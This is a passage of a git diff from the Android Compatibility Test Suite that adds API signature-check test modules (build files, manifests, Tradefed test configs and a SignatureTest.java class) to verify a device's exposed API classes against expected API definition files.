+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.signature.cts.api.android_test_mock_current">
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+ <application>
+ <uses-library android:name="android.test.mock"/>
+ </application>
+
+ <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+ android:targetPackage="android.signature.cts.api.android_test_mock_current"
+ android:label="Android Test Mock Current API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
new file mode 100644
index 0000000..16b29a8
--- /dev/null
+++ b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Android Test Mock Current API Signature test cases">
+ <option name="config-descriptor:metadata" key="component" value="systems" />
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsAndroidTestMockCurrentApiSignatureTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.signature.cts.api.android_test_mock_current" />
+ <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+ <option name="instrumentation-arg" key="expected-api-files" value="android-test-mock-current.api" />
+ <option name="runtime-hint" value="5s" />
+ </test>
+</configuration>
diff --git a/tests/signature/api-check/android-test-runner-current-api/Android.mk b/tests/signature/api-check/android-test-runner-current-api/Android.mk
new file mode 100644
index 0000000..d840506
--- /dev/null
+++ b/tests/signature/api-check/android-test-runner-current-api/Android.mk
@@ -0,0 +1,25 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsAndroidTestRunnerCurrentApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+ android-test-mock-current.api \
+ android-test-runner-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml b/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml
new file mode 100644
index 0000000..61de501
--- /dev/null
+++ b/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.signature.cts.api.android_test_runner_current">
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+ <application>
+ <uses-library android:name="android.test.runner"/>
+ </application>
+
+ <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+ android:targetPackage="android.signature.cts.api.android_test_runner_current"
+ android:label="Android Test Runner Current API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
new file mode 100644
index 0000000..ecf7055
--- /dev/null
+++ b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Android Test Runner Current API Signature test cases">
+ <option name="config-descriptor:metadata" key="component" value="systems" />
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="android-test-runner-current.api->/data/local/tmp/signature-test/android-test-runner-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsAndroidTestRunnerCurrentApiSignatureTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.signature.cts.api.android_test_runner_current" />
+ <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+ <option name="instrumentation-arg" key="expected-api-files" value="android-test-mock-current.api,android-test-runner-current.api" />
+ <option name="runtime-hint" value="5s" />
+ </test>
+</configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/Android.mk b/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
new file mode 100644
index 0000000..df69004
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
@@ -0,0 +1,24 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsApacheHttpLegacyCurrentApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+ apache-http-legacy-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml
new file mode 100644
index 0000000..eaf118b
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.signature.cts.api.apache_http_legacy_current">
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+ <application/>
+
+ <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+ android:targetPackage="android.signature.cts.api.apache_http_legacy_current"
+ android:label="Apache Http Legacy Current API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
new file mode 100644
index 0000000..a5e69a9
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Apache Http Legacy Current API Signature test cases">
+ <option name="config-descriptor:metadata" key="component" value="systems" />
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="apache-http-legacy-current.api->/data/local/tmp/signature-test/apache-http-legacy-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsApacheHttpLegacyCurrentApiSignatureTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.signature.cts.api.apache_http_legacy_current" />
+ <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+ <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.api" />
+ <option name="runtime-hint" value="5s" />
+ </test>
+</configuration>
diff --git a/tests/signature/api-check/build_signature_apk.mk b/tests/signature/api-check/build_signature_apk.mk
new file mode 100644
index 0000000..3b0afd2
--- /dev/null
+++ b/tests/signature/api-check/build_signature_apk.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Specify the following variables before including:
+#
+# LOCAL_PACKAGE_NAME
+# the name of the package
+#
+# LOCAL_SIGNATURE_API_FILES
+# the list of api files needed
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-test
+
+LOCAL_ADDITIONAL_DEPENDENCIES += \
+ $(addprefix $(COMPATIBILITY_TESTCASES_OUT_cts)/,$(LOCAL_SIGNATURE_API_FILES))
+
+include $(BUILD_CTS_PACKAGE)
+
+LOCAL_SIGNATURE_API_FILES :=
diff --git a/tests/signature/api-check/current-api/Android.mk b/tests/signature/api-check/current-api/Android.mk
new file mode 100644
index 0000000..0e7997d
--- /dev/null
+++ b/tests/signature/api-check/current-api/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsCurrentApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+ current.api \
+ android-test-mock-current.api \
+ android-test-runner-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/current-api/AndroidManifest.xml b/tests/signature/api-check/current-api/AndroidManifest.xml
new file mode 100644
index 0000000..7dc5730
--- /dev/null
+++ b/tests/signature/api-check/current-api/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.signature.cts.api.current">
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+ <application/>
+
+ <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+ android:targetPackage="android.signature.cts.api.current"
+ android:label="Current API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/current-api/AndroidTest.xml b/tests/signature/api-check/current-api/AndroidTest.xml
new file mode 100644
index 0000000..29dfe6d
--- /dev/null
+++ b/tests/signature/api-check/current-api/AndroidTest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Current API Signature test cases">
+ <option name="config-descriptor:metadata" key="component" value="systems" />
+ <option name="not-shardable" value="true" />
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="android-test-runner-current.api->/data/local/tmp/signature-test/android-test-runner-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsCurrentApiSignatureTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.signature.cts.api.current" />
+ <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+ <option name="instrumentation-arg" key="expected-api-files" value="current.api" />
+ <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.api,android-test-runner-current.api" />
+ <option name="runtime-hint" value="30s" />
+ </test>
+</configuration>
diff --git a/tests/signature/api-check/legacy-test-26-api/Android.mk b/tests/signature/api-check/legacy-test-26-api/Android.mk
new file mode 100644
index 0000000..699bd0c
--- /dev/null
+++ b/tests/signature/api-check/legacy-test-26-api/Android.mk
@@ -0,0 +1,24 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLegacyTest26ApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+ legacy-test-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/legacy-test-26-api/AndroidManifest.xml b/tests/signature/api-check/legacy-test-26-api/AndroidManifest.xml
new file mode 100644
index 0000000..636dfd3
--- /dev/null
+++ b/tests/signature/api-check/legacy-test-26-api/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.signature.cts.api.legacy_test_26">
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+ <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="26"/>
+
+ <application/>
+
+ <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+ android:targetPackage="android.signature.cts.api.legacy_test_26"
+ android:label="Legacy Test 26 API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/legacy-test-26-api/AndroidTest.xml b/tests/signature/api-check/legacy-test-26-api/AndroidTest.xml
new file mode 100644
index 0000000..ecb3299
--- /dev/null
+++ b/tests/signature/api-check/legacy-test-26-api/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Legacy Test 26 API Signature test cases">
+ <option name="config-descriptor:metadata" key="component" value="systems" />
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="legacy-test-current.api->/data/local/tmp/signature-test/legacy-test-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsLegacyTest26ApiSignatureTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.signature.cts.api.legacy_test_26" />
+ <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+ <option name="instrumentation-arg" key="expected-api-files" value="legacy-test-current.api" />
+ <option name="runtime-hint" value="5s" />
+ </test>
+</configuration>
diff --git a/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java
new file mode 100644
index 0000000..3473cfd
--- /dev/null
+++ b/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java
@@ -0,0 +1,188 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api;
+
+import android.os.Bundle;
+import android.signature.cts.ApiDocumentParser;
+import android.signature.cts.ApiComplianceChecker;
+import android.signature.cts.FailureType;
+import android.signature.cts.JDiffClassDescription;
+import android.signature.cts.ReflectionHelper;
+import android.signature.cts.ResultObserver;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.Comparator;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.TreeSet;
+import org.xmlpull.v1.XmlPullParserException;
+import repackaged.android.test.InstrumentationTestCase;
+import repackaged.android.test.InstrumentationTestRunner;
+
+import static android.signature.cts.CurrentApi.API_FILE_DIRECTORY;
+
+/**
+ * Performs the signature check via a JUnit test.
+ */
+public class SignatureTest extends InstrumentationTestCase {
+
+ private static final String TAG = SignatureTest.class.getSimpleName();
+
+ /**
+ * A set of class names that are inaccessible for some reason.
+ */
+ private static final Set<String> KNOWN_INACCESSIBLE_CLASSES = new HashSet<>();
+
+ static {
+ // TODO(b/63383787) - These classes, which are nested annotations with @Retention(SOURCE)
+ // are removed from framework.dex for an as yet unknown reason.
+ KNOWN_INACCESSIBLE_CLASSES.add("android.content.pm.PackageManager.PermissionFlags");
+ KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.ProgramSelector.IdentifierType");
+ KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.ProgramSelector.ProgramType");
+ KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.RadioManager.Band");
+ KNOWN_INACCESSIBLE_CLASSES.add("android.os.UserManager.UserRestrictionSource");
+ KNOWN_INACCESSIBLE_CLASSES.add(
+ "android.service.persistentdata.PersistentDataBlockManager.FlashLockState");
+ }
+
+ private TestResultObserver mResultObserver;
+
+ private String[] expectedApiFiles;
+ private String[] unexpectedApiFiles;
+
+ private class TestResultObserver implements ResultObserver {
+
+ boolean mDidFail = false;
+
+ StringBuilder mErrorString = new StringBuilder();
+
+ @Override
+ public void notifyFailure(FailureType type, String name, String errorMessage) {
+ mDidFail = true;
+ mErrorString.append("\n");
+ mErrorString.append(type.toString().toLowerCase());
+ mErrorString.append(":\t");
+ mErrorString.append(name);
+ mErrorString.append("\tError: ");
+ mErrorString.append(errorMessage);
+ }
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mResultObserver = new TestResultObserver();
+
+ // Get the arguments passed to the instrumentation.
+ Bundle instrumentationArgs =
+ ((InstrumentationTestRunner) getInstrumentation()).getArguments();
+
+ expectedApiFiles = getCommaSeparatedList(instrumentationArgs, "expected-api-files");
+ unexpectedApiFiles = getCommaSeparatedList(instrumentationArgs, "unexpected-api-files");
+ }
+
+ private String[] getCommaSeparatedList(Bundle instrumentationArgs, String key) {
+ String argument = instrumentationArgs.getString(key);
+ if (argument == null) {
+ return new String[0];
+ }
+ return argument.split(",");
+ }
+
+ /**
+ * Tests that the device's API matches the expected set defined in xml.
+ * <p/>
+ * Will check the entire API, and then report the complete list of failures
+ */
+ public void testSignature() {
+ try {
+ Set<JDiffClassDescription> unexpectedClasses = loadUnexpectedClasses();
+ for (JDiffClassDescription classDescription : unexpectedClasses) {
+ Class<?> unexpectedClass = findUnexpectedClass(classDescription);
+ if (unexpectedClass != null) {
+ mResultObserver.notifyFailure(
+ FailureType.UNEXPECTED_CLASS,
+ classDescription.getAbsoluteClassName(),
+ "Class should not be accessible to this APK");
+ }
+ }
+
+ ApiComplianceChecker complianceChecker = new ApiComplianceChecker(mResultObserver);
+ ApiDocumentParser apiDocumentParser = new ApiDocumentParser(
+ TAG, new ApiDocumentParser.Listener() {
+ @Override
+ public void completedClass(JDiffClassDescription classDescription) {
+ // Ignore classes that are known to be inaccessible.
+ if (KNOWN_INACCESSIBLE_CLASSES.contains(classDescription.getAbsoluteClassName())) {
+ return;
+ }
+
+ // Ignore unexpected classes that are in the API definition.
+ if (!unexpectedClasses.contains(classDescription)) {
+ complianceChecker.checkSignatureCompliance(classDescription);
+ }
+ }
+ });
+
+ for (String expectedApiFile : expectedApiFiles) {
+ File file = new File(API_FILE_DIRECTORY + "/" + expectedApiFile);
+ apiDocumentParser.parse(new FileInputStream(file));
+ }
+ } catch (Exception e) {
+ mResultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION, e.getMessage(),
+ e.getMessage());
+ }
+ if (mResultObserver.mDidFail) {
+ StringBuilder errorString = mResultObserver.mErrorString;
+ ClassLoader classLoader = getClass().getClassLoader();
+ errorString.append("\nClassLoader hierarchy\n");
+ while (classLoader != null) {
+ errorString.append(" ").append(classLoader).append("\n");
+ classLoader = classLoader.getParent();
+ }
+ fail(errorString.toString());
+ }
+ }
+
+ private Class<?> findUnexpectedClass(JDiffClassDescription classDescription) {
+ try {
+ return ReflectionHelper.findMatchingClass(classDescription);
+ } catch (ClassNotFoundException e) {
+ return null;
+ }
+ }
+
+ private Set<JDiffClassDescription> loadUnexpectedClasses()
+ throws IOException, XmlPullParserException {
+
+ Set<JDiffClassDescription> unexpectedClasses = new TreeSet<>(
+ Comparator.comparing(JDiffClassDescription::getAbsoluteClassName));
+ ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG,
+ new ApiDocumentParser.Listener() {
+ @Override
+ public void completedClass(JDiffClassDescription classDescription) {
+ unexpectedClasses.add(classDescription);
+ }
+ });
+ for (String expectedApiFile : unexpectedApiFiles) {
+ File file = new File(API_FILE_DIRECTORY + "/" + expectedApiFile);
+ apiDocumentParser.parse(new FileInputStream(file));
+ }
+ return unexpectedClasses;
+ }
+}
diff --git a/tests/signature/api-check/system-current-api/Android.mk b/tests/signature/api-check/system-current-api/Android.mk
new file mode 100644
index 0000000..1c10d2c
--- /dev/null
+++ b/tests/signature/api-check/system-current-api/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSystemCurrentApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+ system-current.api \
+ android-test-mock-current.api \
+ android-test-runner-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/system-current-api/AndroidManifest.xml b/tests/signature/api-check/system-current-api/AndroidManifest.xml
new file mode 100644
index 0000000..d678c4b
--- /dev/null
+++ b/tests/signature/api-check/system-current-api/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
